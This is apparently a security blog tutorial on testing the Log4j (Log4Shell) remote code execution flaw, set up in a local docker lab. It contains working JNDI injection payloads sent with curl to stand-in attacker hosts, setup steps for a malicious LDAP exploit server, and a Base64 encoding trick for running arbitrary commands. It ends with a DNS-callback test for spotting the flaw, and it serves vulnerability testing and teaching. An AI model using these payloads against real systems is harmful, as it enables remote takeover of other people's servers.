Testing Log4J Remote Code Execution

Author:
Published on:

André Eichhofer

Introduction

A vulnerability in the Java logging libraray log4j (version 2) allows Log File Poisoning and results in a Remode Code Execution. Affected version is 2.0-beta9 <= Apache log4j <= 2.14.1. The vulnerability can be exploited by sending a request to the vulnerable server, which contains a link to an attack server. When the request will be logged, the victim server connects to an attack server. Then the attack server sends malicious code which is executed on the victim server.

To exploit the vulnerability you need

  • a vulnerable server running Log4j
  • send a malicious request to the victim server
  • run a malicious attack server which sends the code to the victim server

How the vulnerability works

Log4j is a Java library which is used for logging events, for example user access to a resource on server. Then, the log file will be written to the server file system or the event will be written into the log file.

A feature of Log4j is that it logs expressions and uses variables. These variables are the displayed in the log file.

Example:

logger.info("User {} has logged in using ID {}", map.get("Name"), user.getID());

Another feature of Log4j is that it makes use of Java Naming and Directory Interface (JNDI). This is a Java API for directory services. JNDI allows Java to lookup for data (in the form of Java objects) via a name service, like LDAP. So, a Java application can connect to an LDAP server to load external resources.

Example:

jndi:ldap://192.168.178.20:8000/O=username; C=US

In the example, JNDI would look up for a user profile in an LDAP directory and load the resource as an Java object.

Another feature of Log4j is, that it allows JNDI lookups from log messages. This would allow an attacker to inject a malicious url into a log file and trigger a JNDI lookup.

Example: Log4j loos for a string and inserts the string into the log

logger.error("Lookup value and insert: {}", "Hello, World");

This would insert the string “Hello, world” into the curlies and print it to the log file.

Example: Insert an JNDI expression

logger.error("Lookup value and insert: {}, "${jndi:ldap://attacker.com/bad/code}");

As a result, Log4j would make an JNDI lookup from the log file and load the bad code from the LDAP url as a serialised Java object. The malicious Java object would then be executed on the server.

Example:
¯¯¯¯¯¯¯¯¯¯¯¯

Pass malicious code into a vulnerable web application which uses Log4j:

  ┌─────────────────────────────┐                                                                        
  │         User agent          │                                                                        
  └──────────────┬──────────────┘                                                                        
                 │                                                                                       
                 │                                                                                       
                 │  Search term:                                                                         
                 │                                                                                       
                 │  ${jndi:ldap://attacker.com/bad/code}                                                 
                 ▼                                                                                       
┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐                                                                    

│ ┌─────────────────────────────┐   │                                                                    
  │ Vulnerable Web Application  │                                                                        
│ │                             │   │                              ┌────────────────────────────────────┐
  │      ┌───────────────┐      │                                  │                                    │
│ │      │  Search bar   │      │   │        JNDI lookup           │                                    │
  │      └───────────────┘      │                                  │                                    │
│ │                             │   │  ─────────────────────────▶  │                                    │
  │                             │                                  │          Attacker Server           │
│ └─────────────────────────────┘   │                              │                                    │
                 │                     ◀─────────────────────────  │    ldap://attacker.com/bad/code    │
│                │                  │                              │                                    │
                 │  Logs request          Serialised malicious     │                                    │
│                │                  │          Java object         │                                    │
                 ▼                                                 │                                    │
│ ┌──────────────────────────────┐  │                              │                                    │
  │           Log file           │                                 └────────────────────────────────────┘
│ │                              │  │                                                                    
  │${jndi:ldap://attacker.com/bad│                                                                       
│ │            /code}            │  │                                                                    
  └──────────────────────────────┘                                                                       
│                                   │                                                                    
 ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─                                                                     
  1. The attacker sends a malicious request to the vulnerable server:

    Example:

    curl vulnerable.com -H 'X-Api-Version: ${jndi:ldap://attacker.com:1389/bad/command/touch /tmp/pwnd/}'
  2. The vulnerable web application writes the request into the log file

    Example source code:

    @RestController
    public class MainController {
    
     private static final Logger logger = LogManager.getLogger("HelloWorld");
    
     @GetMapping("/")
     public String index(@RequestHeader("X-Api-Version") String apiVersion) {
         logger.info("Received a request for API version " + apiVersion);
         return "Hello, world!";
     }
    
    }

    Note, that the source code uses the parameter apiVersion which is equal to RequestHeader("X-Api-Version"). The content of RequestHeader was set to ${jndi:ldap://attacker.com:1389/bad/command/touch /tmp/pwnd/} in the request from Step 1, which triggers the JNDI lookup from the log file.

    Note: For exploitation of you must use the correct parameter which is logged by the vulnerable application.

  3. Log4j makes a JNDI lookup and visits the malicius url ldap://attacker.com:1389/bad/command/touch /tmp/pwnd/

  4. The attacker server sends back a Java object and executes the command touch /tmp/pwnd on the victim server

How to exploit the vulnerability

To exploit and test the vulnerability you will need

  • a vulnerable java application running Log4j
  • an attack server running a malicious LDAP server
  • perform a malicious request to the vulnerable java application
  1. Vulnerable Java application

    To test the vulnerablity you must run the Java application. You can get the example application here:

    docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

    The app will run in a docker container on a local victim host.

  2. Malicious LDAP server

    You need to set up a malicious LDAP server on a second host, which acts as the attack server. You can get the server here, for example

    wget https://web.archive.com/github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
    unzip JNDIExploit.v1.2.zip
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i attack_server_ip -p 8888
  3. Perform request to vulnerable app

    Perform a request to the server where the vulnerable app is running:

    curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

    The Base64 encoded string dG91Y2ggL3RtcC9wd25lZAo= is the command touch /tmp/pwned.txt which will be executed on the victim server.

    Note: The creation of the malicious code (touch /tmp/pwned.txt) is a functionality of the LDAP server. Under the uri Basic/Command/Base64/ the LDAP server runs an engine to create any code which is submitted and encoded as Base64. So, you can create arbitrary code, encode it as Base64 and paste it into the uri.

To confirm that the code execution was successful, notice that the file /tmp/pwned.txt was created in the container running the vulnerable application:

$ docker exec vulnerable-app ls /tmp
...
pwned.txt
...

Additionally, you can lookup the logs of the docker container:

docker logs <container_name>
...
2021-12-19 20:27:11.557  INFO 1 --- [nio-8080-exec-4] HelloWorld  : Received a request for API version ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=

How to test for the vulnerability

You can find out whether the application is vulnerable by testing if the application makes a DNS request to a remote server.

  1. Visit app.interactsh.com

  2. Copy the domain name and perform a request similar to:

    curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://cljkfalwjfpq3315jkj3415j.interactsh.com/a}'
  3. Inspect the DNS request at app.interactsh.com. Additionally, you can inspect Docker log file if you’re testing from a localhost.

More

github.com/christophetd/log4shell-vulnerable-app
github.com/pimps/JNDI-Exploit-Kit